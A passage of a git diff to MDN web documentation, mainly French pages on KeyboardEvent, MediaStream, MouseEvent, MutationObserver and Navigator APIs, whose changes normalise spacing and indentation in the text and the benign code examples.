`"LaunchMediaPlayer"`. Firefox 37 through Firefox 48 use `"MediaSelect"`. Firefox 49 has been updated to match the latest specification, and to return `"LaunchMediaPlayer"`. \[2] Google Chrome 57 and earlier returned `"LaunchMyComputer"` instead of `"LaunchApplication1"`. See [Chrome Bug 612743](https://bugs.chromium.org/p/chromium/issues/detail?id=612743) for more information. @@ -4516,7 +4516,7 @@ These keys are found on the keyboard's numeric keypad. However, not all are pres </td> <td><code>VK_DECIMAL</code> (0x6E)</td> <td><code>kVK_ANSI_KeypadDecimal</code> (0x41)</td> - <td><code>GDK_KEY_KP_Decimal</code> (0xFFAE)<br /> </td> + <td><code>GDK_KEY_KP_Decimal</code> (0xFFAE)<br /> </td> <td><code>KEYCODE_NUMPAD_DOT</code> (158)</td> </tr> <tr> @@ -4594,7 +4594,7 @@ These keys are found on the keyboard's numeric keypad. However, not all are pres </td> <td><code>VK_SEPARATOR</code> (0x6C)</td> <td><code>kVK_JIS_KeypadComma</code> (0x5F)</td> - <td><code>GDK_KEY_KP_Separator</code> (0xFFAC)<br /> </td> + <td><code>GDK_KEY_KP_Separator</code> (0xFFAC)<br /> </td> <td><code>KEYCODE_NUMPAD_COMMA</code> (159)</td> </tr> <tr> diff --git a/files/fr/web/api/keyboardevent/keyboardevent/index.md b/files/fr/web/api/keyboardevent/keyboardevent/index.md index a083a3e792..d964f56a5a 100644 --- a/files/fr/web/api/keyboardevent/keyboardevent/index.md +++ b/files/fr/web/api/keyboardevent/keyboardevent/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/KeyboardEvent/KeyboardEvent --- {{APIRef("DOM Events")}} -Le constructeur **`KeyboardEvent()`** crée un nouveau {{domxref("KeyboardEvent")}}. +Le constructeur **`KeyboardEvent()`** crée un nouveau {{domxref("KeyboardEvent")}}. ## Syntaxe @@ -20,7 +20,7 @@ Le constructeur **`KeyboardEvent()`** crée un nouveau {{domxref("KeyboardEven ### Valeurs - typeArg - - : Une représentation du nom de l'évènement sous forme de {{domxref("DOMString")}}. + - : Une représentation du nom de l'évènement sous forme de {{domxref("DOMString")}}. - KeyboardEventInit{{optional_inline}} - : Un dictionnaire `KeyboardEventInit` ayant les champs suivants : diff --git a/files/fr/web/api/keyframeeffect/keyframeeffect/index.md b/files/fr/web/api/keyframeeffect/keyframeeffect/index.md index d07b0c664f..219cbfcfb5 100644 --- a/files/fr/web/api/keyframeeffect/keyframeeffect/index.md +++ b/files/fr/web/api/keyframeeffect/keyframeeffect/index.md @@ -15,7 +15,7 @@ original_slug: Web/API/EffectTiming/delay La propriété **`delay`** est un dictionnaire pour {{domxref("AnimationEffectTimingProperties")}} qui représente le nombre de millisecondes à attendre avant de démarrer une animation. -> **Note :** {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}} et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} acceptent toutes un objet avec des propriétés de minutage, y compris `delay`. La valeur de `delay` correspond directement à {{domxref("AnimationEffectTimingReadOnly.delay")}} dans les objets {{domxref("AnimationEffectReadOnly.timing")}} renvoyés par {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}} et {{domxref("KeyframeEffect")}}. +> **Note :** {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}} et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} acceptent toutes un objet avec des propriétés de minutage, y compris `delay`. La valeur de `delay` correspond directement à {{domxref("AnimationEffectTimingReadOnly.delay")}} dans les objets {{domxref("AnimationEffectReadOnly.timing")}} renvoyés par {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}} et {{domxref("KeyframeEffect")}}. ## Syntaxe diff --git a/files/fr/web/api/location/reload/index.md b/files/fr/web/api/location/reload/index.md index 2b38ab6b28..beaa0f724d 100644 --- a/files/fr/web/api/location/reload/index.md +++ b/files/fr/web/api/location/reload/index.md @@ -37,4 +37,4 @@ En résumé, ce paramètre booléen ne fait pas partie de la spécification actu ## Voir aussi - L'interface [`Location`](/fr/docs/Web/API/Location) à laquelle appartient cette méthode. -- Des méthodes semblables : [`Location.assign()`](/fr/docs/Web/API/Location/assign) et [`Location.replace()`](/fr/docs/Web/API/Location/replace). +- Des méthodes semblables : [`Location.assign()`](/fr/docs/Web/API/Location/assign) et [`Location.replace()`](/fr/docs/Web/API/Location/replace). diff --git a/files/fr/web/api/mediadevices/getusermedia/index.md b/files/fr/web/api/mediadevices/getusermedia/index.md index d6c56e04c4..730c88fd1c 100644 --- a/files/fr/web/api/mediadevices/getusermedia/index.md +++ b/files/fr/web/api/mediadevices/getusermedia/index.md @@ -156,7 +156,7 @@ Cet exemple donne une préférence pour la résolution de la caméra et attribue ### Utilisation de la nouvelle API dans les navigateurs plus anciens -Voici un exemple d'utilisation de `navigator.mediaDevices.getUserMedia()` , avec un adaptateur pour faire face aux navigateurs plus anciens. Notez que cet adaptater ne corrige pas les différences existantes dans la syntaxe des contraintes, ce qui signifie que les contraintes ne fonctionneront pas bien dans les navigateurs. Il est recommandé d'utiliser l'adaptateur [adapter.js](https://github.com/webrtc/adapter) a la place, qui gère les contraintes. +Voici un exemple d'utilisation de `navigator.mediaDevices.getUserMedia()` , avec un adaptateur pour faire face aux navigateurs plus anciens. Notez que cet adaptater ne corrige pas les différences existantes dans la syntaxe des contraintes, ce qui signifie que les contraintes ne fonctionneront pas bien dans les navigateurs. Il est recommandé d'utiliser l'adaptateur [adapter.js](https://github.com/webrtc/adapter) a la place, qui gère les contraintes. ```js // Older browsers might not implement mediaDevices at all, so we set an empty object first diff --git a/files/fr/web/api/mediastream/index.md b/files/fr/web/api/mediastream/index.md index 6ace6ed154..e20c39d3ee 100644 --- a/files/fr/web/api/mediastream/index.md +++ b/files/fr/web/api/mediastream/index.md @@ -5,39 +5,39 @@ translation_of: Web/API/MediaStream --- {{APIRef("Media Capture and Streams")}} {{SeeCompatTable}} -L'interface `MediaStream` représente le contenu d'un flux de média. Un flux est composé de plusieurs *pistes*, tel que des pistes vidéos ou audio. +L'interface `MediaStream` représente le contenu d'un flux de média. Un flux est composé de plusieurs *pistes*, tel que des pistes vidéos ou audio. ## Attributs - {{domxref("MediaStream.id")}} {{readonlyInline}} - : {{domxref("DOMString")}} contenant 36 carractères correspondant à l'identifiant unique (GUID) de l'objet. - {{domxref("MediaStream.ended")}} {{readonlyInline}} - - : Booléen dont la valeur est `true` si l'évènement {{event("ended (MediaStream)", "ended")}} à été déclenché sur l'objet, signifiant que le flux à été complètement lu, ou `false` si la fin du flux n'à pas été atteinte. + - : Booléen dont la valeur est `true` si l'évènement {{event("ended (MediaStream)", "ended")}} à été déclenché sur l'objet, signifiant que le flux à été complètement lu, ou `false` si la fin du flux n'à pas été atteinte. ### Gestionnaire d'évènements - {{domxref("MediaStream.onaddtrack")}} - - : Est un {{event("Event_handlers", "event handler")}} contenant l'action à exécuter lorsqu'un évènement {{event("addtrack")}} est déclenché sur l'objet, ce qui arrive lorsqu'un nouvel objet {{domxref("MediaStreamTrack")}} est ajouté. + - : Est un {{event("Event_handlers", "event handler")}} contenant l'action à exécuter lorsqu'un évènement {{event("addtrack")}} est déclenché sur l'objet, ce qui arrive lorsqu'un nouvel objet {{domxref("MediaStreamTrack")}} est ajouté. - {{domxref("MediaStream.onended")}} - - : Est un {{event("Event_handlers", "event handler")}} contenant l'action à exécuter lorsqu'un évènement {{event("ended (MediaStream)","ended")}} est déclenché sur l'objet, ce qui arrive lorsque la diffusion est terminée. + - : Est un {{event("Event_handlers", "event handler")}} contenant l'action à exécuter lorsqu'un évènement {{event("ended (MediaStream)","ended")}} est déclenché sur l'objet, ce qui arrive lorsque la diffusion est terminée. - {{domxref("MediaStream.onremovetrack")}} - - : Est un {{event("Event_handlers", "event handler")}} contenant l'action à exécuter lorsqu'un évènement {{event("removetrack")}} est délenché sur l'objet, ce qui arrive quand un objet {{domxref("MediaStreamTrack")}} est retiré. + - : Est un {{event("Event_handlers", "event handler")}} contenant l'action à exécuter lorsqu'un évènement {{event("removetrack")}} est délenché sur l'objet, ce qui arrive quand un objet {{domxref("MediaStreamTrack")}} est retiré. ## Méthodes - {{domxref("MediaStream.getTrackById()")}} - - : Retourne la piste dont l'ID correspond à celui passé en paramètre, `trackid`. Si aucun paramètre n'est fourni, ou si aucune piste avec cet id existe, la fonction retourne `null`. Si plusieurs pistes ont le même id, elle retourne la première piste. + - : Retourne la piste dont l'ID correspond à celui passé en paramètre, `trackid`. Si aucun paramètre n'est fourni, ou si aucune piste avec cet id existe, la fonction retourne `null`. Si plusieurs pistes ont le même id, elle retourne la première piste. <!----> - {{domxref("MediaStream.addTrack()")}} - - : Stocke une copie de {{domxref("MediaStreamTrack")}} fourni en paramètre. Si la piste à déjà été ajouté à l'objet `MediaStream`, rien ne se passe; si la piste est au statut `finished`, c'est à dire qu'elle est terminée, l'exception `INVALID_STATE_RAISE` est levée. + - : Stocke une copie de {{domxref("MediaStreamTrack")}} fourni en paramètre. Si la piste à déjà été ajouté à l'objet `MediaStream`, rien ne se passe; si la piste est au statut `finished`, c'est à dire qu'elle est terminée, l'exception `INVALID_STATE_RAISE` est levée. - {{domxref("MediaStream.removeTrack()")}} - - : Retire le the {{domxref("MediaStreamTrack")}} fourni comme argument. Si la piste ne fait pas parti du `MediaStream`, rien ne se passe; Si la piste est au statut `finished`, ce qui arrive lorsqu'elle est terminée, l'exception `INVALID_STATE_RAISE` est levée. + - : Retire le the {{domxref("MediaStreamTrack")}} fourni comme argument. Si la piste ne fait pas parti du `MediaStream`, rien ne se passe; Si la piste est au statut `finished`, ce qui arrive lorsqu'elle est terminée, l'exception `INVALID_STATE_RAISE` est levée. - {{domxref("MediaStream.getAudioTracks()")}} - - : Retourne la liste des {{domxref("MediaStreamTrack")}} stockés dans l'objet `MediaStream` qui ont leur attribut `kind` défini à `"audio"`. L'ordre n'est pas défini, et peut varier d'un navigateur à l'autre, mais aussi d'un appel de la méthode à l'autre. + - : Retourne la liste des {{domxref("MediaStreamTrack")}} stockés dans l'objet `MediaStream` qui ont leur attribut `kind` défini à `"audio"`. L'ordre n'est pas défini, et peut varier d'un navigateur à l'autre, mais aussi d'un appel de la méthode à l'autre. - {{domxref("MediaStream.getVideoTracks()")}} - - : Retourne une liste des {{domxref("MediaStreamTrack")}} stockés dans l'objet `MediaStream` qui ont leur attribut `kind` défini à `"video"`. L'ordre n'est pas défini, et peut varier d'un navigateur à l'autre, mais aussi d'un appel de la méthode à l'autre. + - : Retourne une liste des {{domxref("MediaStreamTrack")}} stockés dans l'objet `MediaStream` qui ont leur attribut `kind` défini à `"video"`. L'ordre n'est pas défini, et peut varier d'un navigateur à l'autre, mais aussi d'un appel de la méthode à l'autre. ## Spécifications diff --git a/files/fr/web/api/mediastreamaudiosourcenode/index.md b/files/fr/web/api/mediastreamaudiosourcenode/index.md index 16243531c3..7b73db0260 100644 --- a/files/fr/web/api/mediastreamaudiosourcenode/index.md +++ b/files/fr/web/api/mediastreamaudiosourcenode/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/MediaStreamAudioSourceNode --- {{APIRef("Web Audio API")}} -L'interface `MediaStreamAudioSourceNode` représente une source audio [WebRTC](/fr/docs/Web/API/WebRTC_API) {{domxref("MediaStream")}} (comme une webcam ou un micro). C'est un {{domxref("AudioNode")}} qui agit comme une source audio. +L'interface `MediaStreamAudioSourceNode` représente une source audio [WebRTC](/fr/docs/Web/API/WebRTC_API) {{domxref("MediaStream")}} (comme une webcam ou un micro). C'est un {{domxref("AudioNode")}} qui agit comme une source audio. Un `MediaElementSourceNode` n'a pas d'entrée et une seule sortie. On le créé en utilisant la méthode {{domxref("AudioContext.createMediaStreamSource")}}. Le nombre de canaux de sortie est égal au nombre de canaux de {{domxref("AudioMediaStreamTrack")}}. S'il n'y a pas de media stream valide, alors la sortie sera constituée d'un seul canal silencieux. diff --git a/files/fr/web/api/mouseevent/index.md b/files/fr/web/api/mouseevent/index.md index aa691d61f8..cc58b71477 100644 --- a/files/fr/web/api/mouseevent/index.md +++ b/files/fr/web/api/mouseevent/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/MouseEvent --- {{APIRef("DOM Events")}} -L'interface **`MouseEvent`** représente les événements qui se produisent lors d'une interaction de l'utilisateur avec un appareil de pointage (tel qu'une souris). Les événements communs utilisant cette interface incluent {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}} et {{event("mousedown")}}. +L'interface **`MouseEvent`** représente les événements qui se produisent lors d'une interaction de l'utilisateur avec un appareil de pointage (tel qu'une souris). Les événements communs utilisant cette interface incluent {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}} et {{event("mousedown")}}. `MouseEvent` dérive de {{domxref("UIEvent")}}, qui lui-même est issu d'{{domxref("Event")}}. Bien que la méthode {{domxref ("MouseEvent.initMouseEvent()")}} soit conservée à des fins de compatibilité descendante, la création d'un objet `MouseEvent` doit être effectuée à l'aide du constructeur {{domxref ("MouseEvent.MouseEvent","MouseEvent()")}}. @@ -22,18 +22,18 @@ _Cette interface hérite aussi des propriétés de ses parents_ _{{domxref("UIEv - {{domxref("MouseEvent.altKey")}} {{readonlyinline}} - - : renvoie `true` (_vrai_) si la touche + - : renvoie `true` (_vrai_) si la touche <kbd>alt</kbd> est pressée lorsque l'événement est lancé. - {{domxref("MouseEvent.button")}} {{readonlyinline}} - - : Le chiffre représentant le bouton qui est pressé lorsque l'événement est lancé. + - : Le chiffre représentant le bouton qui est pressé lorsque l'événement est lancé. - {{domxref("MouseEvent.buttons")}} {{readonlyinline}}{{gecko_minversion_inline("15.0")}} - : Les boutons qui sont pressés alors que l'événement est lancé. - {{domxref("MouseEvent.clientX")}} {{readonlyinline}} - - : La coordonnée en X du pointeur de la souris dans les coordonnées locales (contenu du DOM). + - : La coordonnée en X du pointeur de la souris dans les coordonnées locales (contenu du DOM). - {{domxref("MouseEvent.clientY")}} {{readonlyinline}} - : La coordonnée en Y du pointeur de la souris dans les coordonnées locales (contenu du DOM). - {{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}} @@ -53,9 +53,9 @@ _Cette interface hérite aussi des propriétés de ses parents_ _{{domxref("UIEv est pressée alors que l'événement est lancé. - {{domxref("MouseEvent.movementX")}} {{readonlyinline}} - - : La coordonnée en X du pointeur de la souris relative à la position de la souris lors du dernier événement {{event("mousemove")}} lancé. + - : La coordonnée en X du pointeur de la souris relative à la position de la souris lors du dernier événement {{event("mousemove")}} lancé. - {{domxref("MouseEvent.movementY")}} {{readonlyinline}} - - : La coordonnée en Y du pointeur de la souris relative à la position de la souris lors du dernier événement {{event("mousemove")}} lancé. + - : La coordonnée en Y du pointeur de la souris relative à la position de la souris lors du dernier événement {{event("mousemove")}} lancé. - {{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}} - : La coordonnée en X du pointeur de la souris relative à la postion du bord de remplissage du noeud cible. - {{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}} @@ -69,9 +69,9 @@ _Cette interface hérite aussi des propriétés de ses parents_ _{{domxref("UIEv - {{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}} - : La seconde cible pour l'événement, s'il y en a une. - {{domxref("MouseEvent.screenX")}} {{readonlyinline}} - - : La coordonnée en X du pointeur de la souris de façon globale (par rapport à l'écran). + - : La coordonnée en X du pointeur de la souris de façon globale (par rapport à l'écran). - {{domxref("MouseEvent.screenY")}} {{readonlyinline}} - - : La coordonnée en Y du pointeur de la souris de façon globale (par rapport à l'écran). + - : La coordonnée en Y du pointeur de la souris de façon globale (par rapport à l'écran). - {{domxref("MouseEvent.shiftKey")}} {{readonlyinline}} - : renvoie `true` si la touche @@ -83,9 +83,9 @@ _Cette interface hérite aussi des propriétés de ses parents_ _{{domxref("UIEv - {{domxref("MouseEvent.which")}} {{readonlyinline}} - : Le bouton qui est pressé alors que l'événement est lancé. - MouseEvent.mozPressure {{non-standard_inline()}} {{readonlyinline}} - - : La quantité de pression appliquée à un appareil tactile ou tablette lors de la génération de l'événement ; l'amplitude de cette valeur se situe entre 0.0 (pression minimum) et 1.0 (pression maximum). + - : La quantité de pression appliquée à un appareil tactile ou tablette lors de la génération de l'événement ; l'amplitude de cette valeur se situe entre 0.0 (pression minimum) et 1.0 (pression maximum). - MouseEvent.mozInputSource {{non-standard_inline()}} {{readonlyinline}} - - : Le type d'appareil qui a généré l'événement (une des constantes `MOZ_SOURCE_*` listées ci-dessous). Ceci permet, par exemple, de déterminer si un événement de pointeur est généré par une souris ou par un événement tactile (qui pourrait affecter le degré de précision avec lequel il est possible d'interpréter les coordonnées associées à l'événement). + - : Le type d'appareil qui a généré l'événement (une des constantes `MOZ_SOURCE_*` listées ci-dessous). Ceci permet, par exemple, de déterminer si un événement de pointeur est généré par une souris ou par un événement tactile (qui pourrait affecter le degré de précision avec lequel il est possible d'interpréter les coordonnées associées à l'événement). - {{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}} - : La quantité de pression appliquée en cliquant. - {{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}} @@ -105,7 +105,7 @@ _Cette interface hérite aussi des propriétés de ses parents_ _{{domxref("UIEv _Cette interface hérite aussi des méthodes de ses parents_ _{{domxref("UIEvent")}} et {{domxref("Event")}}._ - {{domxref("MouseEvent.getModifierState")}}(){{gecko_minversion_inline("15.0")}} - - : Retourne l'état actuel de la touche de modification spécifiée. Voir {{domxref("KeyboardEvent.getModifierState")}}() pour plus de détails. + - : Retourne l'état actuel de la touche de modification spécifiée. Voir {{domxref("KeyboardEvent.getModifierState")}}() pour plus de détails. - {{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}} - : initialise la valeur de l'`MouseEvent` créé. Si l'évènement a déjà été diffusé, la méthode ne produit rien. @@ -147,7 +147,7 @@ Cliquez sur le bouton pour voir comment l'exemple fonctionne : | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('CSSOM View','#extensions-to-the-mouseevent-interface', 'MouseEvent')}} | {{Spec2('CSSOM View')}} | Redéfinit `MouseEvent` de long à double. C'est-à-dire qu'un `PointerEvent` dont le `pointerType` est "souris" est un double. | -| {{SpecName("HTML WHATWG", "#dom-mouseevent-region", "MouseEvent.region")}} | {{Spec2('HTML WHATWG')}} | Ajout de la propriété `region` à partir de {{SpecName('DOM3 Events')}}. | +| {{SpecName("HTML WHATWG", "#dom-mouseevent-region", "MouseEvent.region")}} | {{Spec2('HTML WHATWG')}} | Ajout de la propriété `region` à partir de {{SpecName('DOM3 Events')}}. | | {{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}} | {{Spec2('Pointer Lock')}} | À partir de {{SpecName('DOM3 Events')}}, ajout des propriétés `movementX` et `movementY`. | | {{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}} | {{Spec2('CSSOM View')}} | À partir de {{SpecName('DOM3 Events')}}, ajout des propriétés `offsetX` et `offsetY`, `pageX` et `pageY`, `x` et `y`. Redéfinition de l'écran, de la page, du client et des propriétés des coordonnées (x et y) comme `double` et non plus `long`. | | {{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}} | {{Spec2('DOM3 Events')}} | À partir de {{SpecName('DOM2 Events')}}, ajout du constructeur `MouseEvent()`, de la méthode `getModifierState()` et de la propriété `buttons`. | diff --git a/files/fr/web/api/mouseevent/offsetx/index.md b/files/fr/web/api/mouseevent/offsetx/index.md index b0ac0a9cc4..ebcd573d1b 100644 --- a/files/fr/web/api/mouseevent/offsetx/index.md +++ b/files/fr/web/api/mouseevent/offsetx/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/MouseEvent/offsetX --- {{APIRef("DOM Events")}}{{SeeCompatTable}} -La propriété en lecture seule **`offsetX`** de l'interface {{domxref("MouseEvent")}} fournit le décalage sur l'axe X du pointeur de la souris entre cet évènement et la bordure de la marge intérieure du noeud cible. +La propriété en lecture seule **`offsetX`** de l'interface {{domxref("MouseEvent")}} fournit le décalage sur l'axe X du pointeur de la souris entre cet évènement et la bordure de la marge intérieure du noeud cible. ## Syntaxe @@ -20,7 +20,7 @@ La propriété en lecture seule **`offsetX`** de l'interface {{domxref("MouseEv ### Valeur renvoyée -Un nombre à virgule flottante double précision `double`. Les premières versions de la spécification la définissaient comme un nombre entier. Pour plus de détails, voir la section Compatibilité des navigateurs. +Un nombre à virgule flottante double précision `double`. Les premières versions de la spécification la définissaient comme un nombre entier. Pour plus de détails, voir la section Compatibilité des navigateurs. ## Spécifications diff --git a/files/fr/web/api/mouseevent/offsety/index.md b/files/fr/web/api/mouseevent/offsety/index.md index 4609de06ba..9120180d44 100644 --- a/files/fr/web/api/mouseevent/offsety/index.md +++ b/files/fr/web/api/mouseevent/offsety/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/MouseEvent/offsetY --- {{APIRef("DOM Events")}}{{SeeCompatTable}} -La propriété en lecture seule **`offsetY`** de l'interface {{domxref("MouseEvent")}} fournit le décalage sur l'axe Y du pointeur de la souris entre cet évènement et la bordure de la marge intérieure du noeud cible. +La propriété en lecture seule **`offsetY`** de l'interface {{domxref("MouseEvent")}} fournit le décalage sur l'axe Y du pointeur de la souris entre cet évènement et la bordure de la marge intérieure du noeud cible. ## Syntaxe @@ -20,7 +20,7 @@ La propriété en lecture seule **`offsetY`** de l'interface {{domxref("MouseEve ### Valeur retournée -Un nombre à virgule flottante double précision `double`. Les premières versions de la spécification la définissaient comme un nombre entier. Pour plus de détails, voir la section Commpatibilité des navigateurs. +Un nombre à virgule flottante double précision `double`. Les premières versions de la spécification la définissaient comme un nombre entier. Pour plus de détails, voir la section Commpatibilité des navigateurs. ## Spécifications diff --git a/files/fr/web/api/mutationobserver/index.md b/files/fr/web/api/mutationobserver/index.md index ca940834c9..d19fcee06d 100644 --- a/files/fr/web/api/mutationobserver/index.md +++ b/files/fr/web/api/mutationobserver/index.md @@ -18,7 +18,7 @@ Le constructeur permettant d’instancier un nouvel observateur de mutations DOM #### Paramètres - `callback` - - : Une fonction qui sera appelée à chaque mutation du DOM. L’observateur appellera cette fonction avec deux arguments. Le premier est un tableau d’objets de type {{domxref("MutationRecord")}} ; le second est l’instance de `MutationObserver`. + - : Une fonction qui sera appelée à chaque mutation du DOM. L’observateur appellera cette fonction avec deux arguments. Le premier est un tableau d’objets de type {{domxref("MutationRecord")}} ; le second est l’instance de `MutationObserver`. ## Méthodes d’instance @@ -47,7 +47,7 @@ Le constructeur permettant d’instancier un nouvel observateur de mutations DOM </tbody> </table> -> **Note :** La cible {{domxref("Node")}} ne doit pas être confondue avec celle de [NodeJS](https://nodejs.org/en/). +> **Note :** La cible {{domxref("Node")}} ne doit pas être confondue avec celle de [NodeJS](https://nodejs.org/en/). ### `observe()` @@ -83,7 +83,7 @@ Vide la file des mutations enregistrées du `MutationObserver` et retourne son c ## `MutationObserverInit` -`MutationObserverInit` est un objet pouvant avoir les propriétés suivantes : +`MutationObserverInit` est un objet pouvant avoir les propriétés suivantes : > **Note :** Au moins une propriété parmi `childList`, `attributes` ou `characterData` doit être initialisée à `true`, sinon l’erreur <i lang="en">"An invalid or illegal string was specified</i>" sera émise. @@ -189,7 +189,7 @@ observer.disconnect(); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}} | {{ Spec2('DOM WHATWG') }} | | +| {{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}} | {{ Spec2('DOM WHATWG') }} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/navigator/connection/index.md b/files/fr/web/api/navigator/connection/index.md index e2e9f34956..441a349c50 100644 --- a/files/fr/web/api/navigator/connection/index.md +++ b/files/fr/web/api/navigator/connection/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Navigator/connection --- {{APIRef("Network Information API")}}{{SeeCompatTable}} -**`Navigator.connection`** est une propriété en lecture seule, elle représente une {{domxref("NetworkInformation")}} qui contient les informations de la connexion du système, telles que la bande passante actuelle du périphérique utilisateur ou si la connexion est mesurée. La propriété peut être utilisée pour sélectionner un contenu en haute ou basse définition, dépendant de la connexion de l'utilisateur. +**`Navigator.connection`** est une propriété en lecture seule, elle représente une {{domxref("NetworkInformation")}} qui contient les informations de la connexion du système, telles que la bande passante actuelle du périphérique utilisateur ou si la connexion est mesurée. La propriété peut être utilisée pour sélectionner un contenu en haute ou basse définition, dépendant de la connexion de l'utilisateur. ## Syntaxe diff --git a/files/fr/web/api/navigator/credentials/index.md b/files/fr/web/api/navigator/credentials/index.md index fb3d7063cc..c667a04572 100644 --- a/files/fr/web/api/navigator/credentials/index.md +++ b/files/fr/web/api/navigator/credentials/index.md @@ -25,12 +25,12 @@ L'interface {{domxref("CredentialsContainer")}}. ```js if ('credentials' in navigator) { - navigator.credentials.get({password: true}) - .then(function(creds) { - // Gérer les informations d'authentification - }); + navigator.credentials.get({password: true}) + .then(function(creds) { + // Gérer les informations d'authentification + }); } else { - // Gérer la connexion comme avant + // Gérer la connexion comme avant }; ``` diff --git a/files/fr/web/api/navigator/getgamepads/index.md b/files/fr/web/api/navigator/getgamepads/index.md index 5ca49cb54c..f3d4b4006a 100644 --- a/files/fr/web/api/navigator/getgamepads/index.md +++ b/files/fr/web/api/navigator/getgamepads/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/getGamepads --- {{ APIRef("Navigator") }}{{SeeCompatTable}} -La méthode **`Navigator.getGamepads()`** renvoie un tableau d'objets {{ domxref("Gamepad") }}, un par contrôleur connecté à la machine. +La méthode **`Navigator.getGamepads()`** renvoie un tableau d'objets {{ domxref("Gamepad") }}, un par contrôleur connecté à la machine. Des éléments dans le tableau peuvent être `null` si un contrôleur est déconnecté durant la session, ainsi les autres restants gardent le même indice. diff --git a/files/fr/web/api/navigator/getusermedia/index.md b/files/fr/web/api/navigator/getusermedia/index.md index 32c5946175..be9af7828d 100644 --- a/files/fr/web/api/navigator/getusermedia/index.md +++ b/files/fr/web/api/navigator/getusermedia/index.md @@ -12,9 +12,9 @@ original_slug: NavigatorUserMedia.getUserMedia --- {{APIRef("Media Capture and Streams")}}{{deprecated_header}} -La fonction obsolète **Navigator.getUserMedia()** demande à l'utilisateur la permission d'utiliser une entrée vidéo (ex: une webcam ou un écran partagé) ou audio (ex: un microphone) de l'utilisateur. +La fonction obsolète **Navigator.getUserMedia()** demande à l'utilisateur la permission d'utiliser une entrée vidéo (ex: une webcam ou un écran partagé) ou audio (ex: un microphone) de l'utilisateur. -Si ce dernier l'autorise, un {{domxref("MediaStream")}} est transmis au callback spécifié, il contient les pistes audio et/ou vidéo des entrées autorisées. Si l'utilisateur refuse l'accès, que le périphérique n'existe pas, ou qu'une erreur quelconque se produit, le callback d'erreur est alors exécuté avec comme paramètre un objet {{domxref("MediaStreamError")}}, il décrit l'erreur qui vient de se produire. Si l'utilisateur ne fait aucun choix, aucun callback n'est exécuté. +Si ce dernier l'autorise, un {{domxref("MediaStream")}} est transmis au callback spécifié, il contient les pistes audio et/ou vidéo des entrées autorisées. Si l'utilisateur refuse l'accès, que le périphérique n'existe pas, ou qu'une erreur quelconque se produit, le callback d'erreur est alors exécuté avec comme paramètre un objet {{domxref("MediaStreamError")}}, il décrit l'erreur qui vient de se produire. Si l'utilisateur ne fait aucun choix, aucun callback n'est exécuté. > **Note :** Il s'agit d'une ancienne méthode, veuillez utiliser la méthode {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia()")}} à la place. Bien qu'elle ne soit pas techniquement obsolète, l'utilisation de callbacks l'est, les spécifications encouragent fortamment l'utilisation de la nouvelle version avec {{jsxref("promise", "promesses")}}. @@ -41,7 +41,7 @@ Si ce dernier l'autorise, un {{domxref("MediaStream")}} est transmis au callback ``` - errorCallback - - : Lorsque l'appel échoue, la fonction spécifiée dans `errorCallback` est appelée avec comme seul argument l'objet {{domxref("MediaStreamError")}}. Cet objet ressemble à {{domxref("DOMException")}}. Voir {anch("Erreurs")}} plus bas sur cette page pour voir quelle erreur peut arriver. + - : Lorsque l'appel échoue, la fonction spécifiée dans `errorCallback` est appelée avec comme seul argument l'objet {{domxref("MediaStreamError")}}. Cet objet ressemble à {{domxref("DOMException")}}. Voir {anch("Erreurs")}} plus bas sur cette page pour voir quelle erreur peut arriver. ### Valeur de retour @@ -55,7 +55,7 @@ Si ce dernier l'autorise, un {{domxref("MediaStream")}} est transmis au callback ### Largeur et hauteur -Voici un exemple de l'utilisation de `getUserMedia()`, avec les différentes mises en oeuvres pour couvrir les préfixes navigateurs. Remarquez que ceci est la façon dépréciée de procéder. Regardez les [exemples](/en-US/docs/Web/API/MediaDevices/getUserMedia#Frame_rate) sous la section {{domxref("MediaDevices.getUserMedia()")}} pour les exemples modernes. +Voici un exemple de l'utilisation de `getUserMedia()`, avec les différentes mises en oeuvres pour couvrir les préfixes navigateurs. Remarquez que ceci est la façon dépréciée de procéder. Regardez les [exemples](/en-US/docs/Web/API/MediaDevices/getUserMedia#Frame_rate) sous la section {{domxref("MediaDevices.getUserMedia()")}} pour les exemples modernes. ```js navigator.getUserMedia = navigator.getUserMedia || @@ -95,7 +95,7 @@ Pour utiliser `getUserMedia()` dans une application installable (par exemple une } ``` -See [permission: audio-capture](/en-US/Apps/Developing/App_permissions#audio-capture) and [permission: video-capture](/en-US/Apps/Developing/App_permissions#video-capture) for more information. +See [permission: 